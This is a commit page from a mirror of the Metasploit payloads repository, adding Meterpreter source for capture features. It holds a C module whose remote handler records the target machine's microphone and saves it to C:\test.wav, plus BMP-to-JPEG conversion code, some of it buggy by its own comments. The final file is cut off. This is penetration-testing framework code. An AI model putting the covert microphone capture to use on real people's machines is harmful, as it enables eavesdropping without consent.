1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-16 00:24:29 +01:00

Add functional in-memory webcam support.

git-svn-id: file:///home/svn/framework3/trunk@10954 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Weeks 2010-11-09 02:24:28 +00:00
parent 5e6fe11920
commit 44fe0b8f80
10 changed files with 1916 additions and 0 deletions

View File

@ -0,0 +1,107 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "webcam.h"
#pragma comment(lib, "vfw32.lib")
#pragma comment(lib, "winmm.lib")
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
BOOL capmicaudio(char *szFile, int millisecs)
{
UINT wDeviceID;
DWORD dwReturn;
MCI_OPEN_PARMS mciOpenParms;
MCI_RECORD_PARMS mciRecordParms;
MCI_SAVE_PARMS mciSaveParms;
MCI_PLAY_PARMS mciPlayParms;
DWORD dwMilliSeconds;
dwMilliSeconds = millisecs;
// Open a waveform-audio device with a new file for recording.
mciOpenParms.lpstrDeviceType = "waveaudio";
mciOpenParms.lpstrElementName = "";
if (dwReturn = mciSendCommand(0, MCI_OPEN,MCI_OPEN_ELEMENT | MCI_OPEN_TYPE,(DWORD)(LPVOID) &mciOpenParms))
{
// Failed to open device; don't close it, just return error.
return (dwReturn);
}
// The device opened successfully; get the device ID.
wDeviceID = mciOpenParms.wDeviceID;
mciRecordParms.dwTo = dwMilliSeconds;
if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD,
MCI_TO | MCI_WAIT, (DWORD)(LPVOID) &mciRecordParms))
{
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 );
return (dwReturn);
}
// Play the recording and query user to save the file.
mciPlayParms.dwFrom = 0L;
// Save the recording to a file. Wait for
// the operation to complete before continuing.
mciSaveParms.lpfilename = szFile;
if (dwReturn = mciSendCommand(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD)(LPVOID) &mciSaveParms))
{
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 );
return (dwReturn);
}
return (0L);
}
int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
DWORD dwError = 0;
char *wavestring = NULL;
/* METERPRETER CODE */
// char buffer[100];
/* END METERPRETER CODE */
capmicaudio("C:\\test.wav", msecs);
*waveresults = wavestring;
/* return the correct code */
return dwError;
}
/*
* Grabs the audio from mic.
*/
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
char *wave = NULL;
if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
{
res = GetLastError();
}
//packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave);
packet_transmit_response(res, remote, response);
if (wave)
free(wave);
return res;
}

View File

@ -0,0 +1,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet);
#endif

View File

@ -0,0 +1,767 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "bmp2jpeg.h"
/*
* Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c
* screen.h in the espia extension. The origional author of espia is Efrain Torres
* and a patch for JPEG suport was provided by Brett Blackham.
* These were further slightly modified by scriptjunkie to work better with the
* webcam extension.
*/
/* Function modified to store bitmap in memory. et [ ] metasploit.com
======================================================================
Saves a bitmap to a file
The following function was adopted from pywin32, and is thus under the
following copyright:
Copyright (c) 1994-2008, Mark Hammond
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
Neither name of Mark Hammond nor the name of contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* The JPEG lib is from the Independent JPEG Group (IJG)
* http://www.ijg.org/
*
* The jpeg lib included in source/jpeg-8/ has a small modification to the
* rdbmp.c example to support 32 BMP files. That modification was submitted
* to the IJG to be included in future releases. The only other change to
* JPEG library was to the makefile so the library would link to
* meterperter without warning/error.
*
* Most the JPEG code used in espia is taken from the rdbmp.c example from
* source/jpeg-8/.
*
* from the JPEG README:
* You are welcome to redistribute this software and
* to use it for any purpose, subject to the conditions under LEGAL ISSUES, below.
*
* ...
*
* This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone,
* Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson,
* Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers,
* and other members of the Independent JPEG Group.
*
*
* LEGAL ISSUES
* ============
*
* In plain English:
*
* 1. We don't promise that this software works. (But if you find any bugs,
* please let us know!)
* 2. You can use this software for whatever you want. You don't have to pay us.
* 3. You may not pretend that you wrote this software. If you use it in a
* program, you must acknowledge somewhere in your documentation that
* you've used the IJG code.
*
* (The "non-english" version can be found in the ../../srouce/jpeg-8/README file)
*/
#ifdef HAVE_UNSIGNED_CHAR
typedef unsigned char U_CHAR;
#define UCH(x) ((int) (x))
#else /* !HAVE_UNSIGNED_CHAR */
#ifdef CHAR_IS_UNSIGNED
typedef char U_CHAR;
#define UCH(x) ((int) (x))
#else
typedef char U_CHAR;
#define UCH(x) ((int) (x) & 0xFF)
#endif
#endif /* HAVE_UNSIGNED_CHAR */
/*
* This function taken from the JPEG-8 example file rdbmp.c provided a
* platform idenependant way to read files...
* But, we "reading" from memory. So, return the current byte
* in the buf and inc the pointer so it "feels" like an fopen read.
*/
int ReadOK(bmp_source_ptr sinfo, char* buffer,int len)
{
memcpy(buffer, sinfo->pub.input_buf + sinfo->pub.read_offset, len);
sinfo->pub.read_offset += len;
return 1; // yeah, it always works cuz I say so..
}
/*
* Like ReadOK, this would read from a file. But we aren't reading a file.
* So, return the current byte in the buf and inc the pointer.
* WARNING: I don't think this function is working. (My guess: read_offset++)
* However, it just so happens since Windows 7 (and I think all the windows)
* screenshots always return a 32 bit BMP, the code never calls this function.
*
*/
int read_byte (bmp_source_ptr sinfo)
{
return (int)sinfo->pub.input_buf + sinfo->pub.read_offset++;
}
/*
* Since I think windows screenshot is always a 32bit BMP this function
* will never be used, however, I am leaving it here in case there is a
* version of windows that does return a 8bit indexed BMP. Once it is
* confirmed that all windows use 32bit BMPs, I'll remove this.
*
* How does a BMP look you ask?
* see: http://local.wasp.uwa.edu.au/~pbourke/dataformats/bitmaps/
*/
void read_colormap (bmp_source_ptr sinfo, int cmaplen, int mapentrysize)
{
int i;
switch (mapentrysize) {
case 3:
/* BGR format (occurs in OS/2 files) */
for (i = 0; i < cmaplen; i++) {
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
}
break;
case 4:
/* BGR0 format (occurs in MS Windows files) */
for (i = 0; i < cmaplen; i++) {
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
(void) read_byte(sinfo);
}
break;
default:
return; //ERREXIT(sinfo->cinfo, JERR_BMP_BADCMAP);
break;
}
}
/*
* Used to help convert 16 bit BMP
* Taken from: http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
*
* BUG: I haven't been able to figure out the correct format of the BMP in memory.
* Not sure if its 565 or 555. Nor am I sure if its rgb or bgr or what. Also
* I can't say I'm sure which order the two 8 bits that make up the unsigned
* short "a" should come in. As it is now, this will send back a valid JPEG.
* But, the colors won't be exact.
*/
unsigned long rgb16_to_rgb32(unsigned short a)
{
/* 1. Extract the red, green and blue values */
/* (555) from bbbb bggg ggrr rrr0 */
unsigned long b = (a & 0xF800) >> 11;
unsigned long g = (a & 0x07C0) >> 6;
unsigned long r = (a & 0x003E) >> 1;
/* (565) from rrrr rggg gggb bbbb */
// unsigned long r = (a & 0xF800) >> 11;
// unsigned long g = (a & 0x07E0) >> 5;
// unsigned long b = (a & 0x001F);
/* (555) from 0rrr rrgg gggb bbbb */
// unsigned long r = (a & 0x7C00) >> 10;
// unsigned long g = (a & 0x03E0) >> 5;
// unsigned long b = (a & 0x001F);
/* (555) from 0bbb bbgg gggr rrrr */
//unsigned long b = (a & 0x7C00) >> 10;
//unsigned long g = (a & 0x03E0) >> 5;
//unsigned long r = (a & 0x001F);
/* (555) from rrrr rggg ggbb bbb0 */
//unsigned long r = (a & 0xF800) >> 11;
//unsigned long g = (a & 0x07C0) >> 6;
//unsigned long b = (a & 0x003E) >> 1;
/* (565) from bbbb bggg gggr rrrr */
//unsigned long b = (a & 0xF800) >> 11;
//unsigned long g = (a & 0x07E0) >> 5;
//unsigned long r = (a & 0x001F);
/* 2. Convert them to 0-255 range:
There is more than one way. You can just shift them left:
to 00000000 rrrrr000 gggggg00 bbbbb000
r <<= 3;
g <<= 2;
b <<= 3;
But that means your image will be slightly dark and
off-colour as white 0xFFFF will convert to F8,FC,F8
So instead you can scale by multiply and divide: */
r <<= 3;
//g <<= 2; //(565)
g <<=3; //(555)
b <<= 3;
//r = r * 255 / 31;
//g = g * 255 / 63; //(565)
////g = g * 255 / 31; //(555)
//b = b * 255 / 31;
/* This ensures 31/31 converts to 255/255 */
/* 3. Construct your 32-bit format (this is 0RGB): */
//return (r << 16) | (g << 8) | b;
// This is 0RBG?? Yeah, it makes no sense to me either.
return (r << 16) | (b << 8) | g;
/* Or for BGR0: */
//return (r << 8) | (g << 16) | (b << 24);
}
/*
* Read one row of pixels.
* The image has been read into the whole_image array, but is otherwise
* unprocessed. We must read it out in top-to-bottom row order, and if
* it is an 8-bit image, we must expand colormapped pixels to 24bit format.
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_8bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 8-bit colormap indexes */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
register JSAMPARRAY colormap = source->colormap;
JSAMPARRAY image_ptr;
register int t;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Expand the colormap indexes to real data */
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
*outptr++ = colormap[0][t]; /* can omit GETJSAMPLE() safely */
*outptr++ = colormap[1][t];
*outptr++ = colormap[2][t];
}
return 1;
}
/*
*
* NOTE: Damn it, windows uses what ever the colors option is set to-
* High Color (16 bit)
* True Color (32 bit)
* Who the hell would use High Color? PDA's?
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*
* Dev notes:
* http://www.winehq.org/pipermail/wine-patches/2005-August/020010.html
* http://www.cpp-home.com/tutorials/246_2.htm
* http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
*/
JDIMENSION get_16bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
unsigned long bit32_pix;
char a,b;
char *pix_ptr;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
// Need to pull 16 bits at a time.
a = *inptr++; // First 8
b = *inptr++; // Second 8
bit32_pix = rgb16_to_rgb32( a << 8 | b ); //Send all 16bits to be converted
pix_ptr = (char *)&bit32_pix;
outptr[2] = *pix_ptr++;
outptr[1] = *pix_ptr++;
outptr[0] = *pix_ptr++;
outptr += 3;
}
return 1;
}
/*
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_24bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 24-bit pixels */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
outptr[1] = *inptr++;
outptr[0] = *inptr++;
outptr += 3;
}
return 1;
}
/*
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_32bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 32-bit pixels */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
outptr[1] = *inptr++;
outptr[0] = *inptr++;
*inptr++; // Skip the 4th bit (Alpha Channel)
outptr += 3;
}
return 1;
}
/*
* This method loads the image into whole_image during the first call on
* get_pixel_rows. The get_pixel_rows pointer is then adjusted to call
* get_8bit_row, get_24bit_row or get_32bit_row on subsequent calls.
* This will not copy the image header info. Just the raw image data.
*/
JDIMENSION preload_image (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
// register FILE *infile = source->pub.input_file;
// register int c;
register JSAMPROW out_ptr;
JSAMPARRAY image_ptr;
JDIMENSION row;
/* Read the data into a virtual array in input-file row order. */
for (row = 0; row < cinfo->image_height; row++) {
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
row, (JDIMENSION) 1, TRUE);
out_ptr = image_ptr[0];
// Copy the bmp data
memcpy(out_ptr, source->pub.input_buf + source->pub.read_offset, source->row_width);
source->pub.read_offset += source->row_width;
}
/* Set up to read from the virtual array in top-to-bottom order */
switch (source->bits_per_pixel) {
case 8:
source->pub.get_pixel_rows = get_8bit_row;
break;
case 16:
source->pub.get_pixel_rows = get_16bit_row;
break;
case 24:
source->pub.get_pixel_rows = get_24bit_row;
break;
case 32:
source->pub.get_pixel_rows = get_32bit_row;
break;
default:
return 0; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
}
source->source_row = cinfo->image_height;
/* And read the first row */
return (*source->pub.get_pixel_rows) (cinfo, sinfo);
}
/*
* Read the file header; return image size and component count.
* A lot of this could might be safe to remove since we might
* only ever be using 32bit Windows BMP images. UPDATE: or 16bit BMPs
*/
void start_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
U_CHAR bmpfileheader[14];
U_CHAR bmpinfoheader[64];
#define GET_2B(array,offset) ((unsigned int) UCH(array[offset]) + \
(((unsigned int) UCH(array[offset+1])) << 8))
#define GET_4B(array,offset) ((INT32) UCH(array[offset]) + \
(((INT32) UCH(array[offset+1])) << 8) + \
(((INT32) UCH(array[offset+2])) << 16) + \
(((INT32) UCH(array[offset+3])) << 24))
INT32 bfOffBits;
INT32 headerSize;
INT32 biWidth;
INT32 biHeight;
unsigned int biPlanes;
INT32 biCompression;
INT32 biXPelsPerMeter,biYPelsPerMeter;
INT32 biClrUsed = 0;
int mapentrysize = 0; /* 0 indicates no colormap */
INT32 bPad;
JDIMENSION row_width;
/* Read and verify the bitmap file header */
// Its a bitmap... I just made it.. But, if you findout otherwise
// return without an error message.. Better than a crash I guess.
if (! ReadOK(source, bmpfileheader, 14))
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
if (GET_2B(bmpfileheader,0) != 0x4D42) /* 'BM' */
return; //ERREXIT(cinfo, JERR_BMP_NOT);
bfOffBits = (INT32) GET_4B(bmpfileheader,10);
/* We ignore the remaining fileheader fields */
/* The infoheader might be 12 bytes (OS/2 1.x), 40 bytes (Windows),
* or 64 bytes (OS/2 2.x). Check the first 4 bytes to find out which.
*
* Read the first for bytes to figure out how big the header is.
* The read the rest of the header (once we know its size)
*/
if (! ReadOK(source, bmpinfoheader, 4))
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
headerSize = (INT32) GET_4B(bmpinfoheader,0);
if (headerSize < 12 || headerSize > 64)
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
if (! ReadOK(source, bmpinfoheader+4, headerSize-4)) // Read the rest of the header
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
switch ((int) headerSize) {
case 12:
/* Decode OS/2 1.x header (Microsoft calls this a BITMAPCOREHEADER) */
biWidth = (INT32) GET_2B(bmpinfoheader,4);
biHeight = (INT32) GET_2B(bmpinfoheader,6);
biPlanes = GET_2B(bmpinfoheader,8);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,10);
switch (source->bits_per_pixel) {
case 8: /* colormapped image */
mapentrysize = 3; /* OS/2 uses RGBTRIPLE colormap */
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2_MAPPED, (int) biWidth, (int) biHeight);
break;
case 24: /* RGB image */
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2, (int) biWidth, (int) biHeight);
break;
default:
//ERREXIT(cinfo, JERR_BMP_BADDEPTH);
break;
}
break;
case 40: // When using "High color"
biWidth = (INT32) GET_4B(bmpinfoheader,4);
biHeight = (INT32) GET_4B(bmpinfoheader,8);
biPlanes = GET_2B(bmpinfoheader,12);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
biCompression = GET_4B(bmpinfoheader,16);
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
biClrUsed = GET_4B(bmpinfoheader,32);
if (biCompression != 0)
return;
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
/* Set JFIF density parameters from the BMP data */
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
cinfo->density_unit = 2; /* dots/cm */
}
break;
case 64: // This is the one we get on 32bit Windows 7 from GDI
/* Decode Windows 3.x header (Microsoft calls this a BITMAPINFOHEADER) */
/* or OS/2 2.x header, which has additional fields that we ignore */
biWidth = GET_4B(bmpinfoheader,4);
biHeight = GET_4B(bmpinfoheader,8);
biPlanes = GET_2B(bmpinfoheader,12);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
biCompression = GET_4B(bmpinfoheader,16);
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
biClrUsed = GET_4B(bmpinfoheader,32);
/* biSizeImage, biClrImportant fields are ignored */
switch (source->bits_per_pixel) {
case 8: /* colormapped image */
mapentrysize = 4; /* Windows uses RGBQUAD colormap */
// TRACEMS2(cinfo, 1, JTRC_BMP_MAPPED, (int) biWidth, (int) biHeight);
break;
case 24: /* RGB image */
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
break;
case 32: /* RGB image + Alpha Channel */
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
break;
default:
return; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
break;
}
if (biCompression != 0)
return; //ERREXIT(cinfo, JERR_BMP_COMPRESSED);
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
/* Set JFIF density parameters from the BMP data */
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
cinfo->density_unit = 2; /* dots/cm */
}
break;
default:
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
return;
}
if (biWidth <= 0 || biHeight <= 0)
return; //ERREXIT(cinfo, JERR_BMP_EMPTY);
if (biPlanes != 1)
return; //ERREXIT(cinfo, JERR_BMP_BADPLANES);
/* Compute distance to bitmap data --- will adjust for colormap below */
bPad = bfOffBits - (headerSize + 14);
/* Read the colormap, if any */
if (mapentrysize > 0) {
if (biClrUsed <= 0)
biClrUsed = 256; /* assume it's 256 */
else if (biClrUsed > 256)
return; //ERREXIT(cinfo, JERR_BMP_BADCMAP);
/* Allocate space to store the colormap */
source->colormap = (*cinfo->mem->alloc_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE,
(JDIMENSION) biClrUsed, (JDIMENSION) 3);
/* and read it from the file */
read_colormap(source, (int) biClrUsed, mapentrysize);
/* account for size of colormap */
bPad -= biClrUsed * mapentrysize;
}
/* Skip any remaining pad bytes */
if (bPad < 0) /* incorrect bfOffBits value? */
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
// Not reading a file... so, just jump to the start..
// No need to read_byte as an fseek hack.
source->pub.read_offset = bfOffBits;
//while (--bPad >= 0) {
// (void) read_byte(source);
//}
/* Compute row width in file, including padding to 4-byte boundary */
if (source->bits_per_pixel == 16)
row_width = (JDIMENSION) (biWidth * 2);
else if (source->bits_per_pixel == 24)
row_width = (JDIMENSION) (biWidth * 3);
else if (source->bits_per_pixel == 32)
row_width = (JDIMENSION) (biWidth * 4);
else
row_width = (JDIMENSION) biWidth;
while ((row_width & 3) != 0) row_width++;
source->row_width = row_width;
/* Allocate space for inversion array, prepare for preload pass */
source->whole_image = (*cinfo->mem->request_virt_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE, FALSE,
row_width, (JDIMENSION) biHeight, (JDIMENSION) 1);
source->pub.get_pixel_rows = preload_image;
/* Allocate one-row buffer for returned data */
source->pub.buffer = (*cinfo->mem->alloc_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE,
(JDIMENSION) (biWidth * 3), (JDIMENSION) 1);
source->pub.buffer_height = 1;
cinfo->in_color_space = JCS_RGB;
cinfo->input_components = 3;
cinfo->data_precision = 8;
cinfo->image_width = (JDIMENSION) biWidth;
cinfo->image_height = (JDIMENSION) biHeight;
}
/*
* Finish up at the end of the file.
*/
void finish_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
/* no work */
}
/*
* The module selection routine for BMP format input.
*/
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr cinfo)
{
bmp_source_ptr source;
/* Create module interface object */
source = (bmp_source_ptr)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
SIZEOF(bmp_source_struct));
source->cinfo = cinfo; /* make back link for subroutines */
/* Fill in method ptrs, except get_pixel_rows which start_input sets */
source->pub.start_input = start_input_bmp;
source->pub.finish_input = finish_input_bmp;
return (cjpeg_source_ptr) source;
}
/*
* See: http://msdn.microsoft.com/en-us/library/dd145119%28VS.85%29.aspx
* This function was copied from the MSDN example.
* It was then modified to send the BMP data rather than save to disk
* It was then modified to conver the BMP to JPEG and send
* Now its realy big.
*/
int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size )
{
// Convert to JPEG stuff
struct jpeg_compress_struct cinfo;
struct jpeg_error_mgr jerr;
cjpeg_source_ptr src_mgr;
JDIMENSION num_scanlines;
// JPEG conversion start here..'
// buf is a pointer to a BMP in memory.
/* Initialize JPEG parameters.
* Much of this may be overridden later.
* We need to provide some value for jpeg_set_defaults() to work.
*/
cinfo.err = jpeg_std_error(&jerr);
jpeg_create_compress(&cinfo);
cinfo.in_color_space = JCS_RGB; /* arbitrary guess */
jpeg_set_defaults(&cinfo);
src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr...
src_mgr->input_buf = buf;
src_mgr->read_offset = 0;
/* Read the input file header to obtain file size & colorspace. */
start_input_bmp(&cinfo, src_mgr);
jpeg_default_colorspace(&cinfo);
// TODO: accept options from the command line for grayscale and quality.
/* Go GRAYSCALE */
//jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE);
/* Quality */
jpeg_set_quality(&cinfo, quality, FALSE);
// Write the compressed JPEG to memory: bug_jpeg
jpeg_mem_dest(&cinfo, buf_jpeg, buf_jpeg_size);
/* Start compressor */
jpeg_start_compress(&cinfo, TRUE);
/* Process data */
while (cinfo.next_scanline < cinfo.image_height) {
num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr);
(void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines);
}
/* Finish compression and release memory */
(*src_mgr->finish_input) (&cinfo, src_mgr);
jpeg_finish_compress(&cinfo);
jpeg_destroy_compress(&cinfo);
return 1;
}

View File

@ -0,0 +1,73 @@
#ifndef _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
#define _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
#include "jinclude.h"
#include "jpeglib.h"
#include "jerror.h"
/*
* Object interface for cjpeg's source file decoding modules
* This is the structure used to handle the converstion to a JPEG
* The code "borrowed" from rdbmp.c example also uses this struct
* to reference a BMP, then uses type casting trickery to change it.
* All I have to say is "Just because you can do soemthing doesn't
* mean you should do it". But it works, and I'm too lazy to make it
* easier to "read". So a heads up, when you see a cjpeg_source being
* tossed around, it might really be a BMP.
*
* This structure was modified from the IJG's example to support
* conversion in memory without using disk.
*/
typedef struct cjpeg_source_struct * cjpeg_source_ptr;
struct cjpeg_source_struct {
JMETHOD(void, start_input, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
JMETHOD(JDIMENSION, get_pixel_rows, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
JMETHOD(void, finish_input, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
TCHAR *input_buf;
UINT read_offset;
JSAMPARRAY buffer;
JDIMENSION buffer_height;
};
/* Private version of data source object */
typedef struct _bmp_source_struct * bmp_source_ptr;
typedef struct _bmp_source_struct {
struct cjpeg_source_struct pub; /* public fields */
j_compress_ptr cinfo; /* back link saves passing separate parm */
JSAMPARRAY colormap; /* BMP colormap (converted to my format) */
jvirt_sarray_ptr whole_image; /* Needed to reverse row order */
JDIMENSION source_row; /* Current source row number */
JDIMENSION row_width; /* Physical width of scanlines in file */
int bits_per_pixel; /* remembers 8- or 24-bit format */
} bmp_source_struct;
// JPEG related functions
int ReadOK(bmp_source_ptr, char*, int);
int read_byte (bmp_source_ptr);
void read_colormap (bmp_source_ptr, int, int);
JDIMENSION get_8bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_16bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_24bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_32bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION preload_image (j_compress_ptr, cjpeg_source_ptr);
void start_input_bmp (j_compress_ptr, cjpeg_source_ptr);
void finish_input_bmp (j_compress_ptr, cjpeg_source_ptr);
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr);
// BMP-screenshot related functions
int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size );
#endif

View File

@ -0,0 +1,88 @@
/*
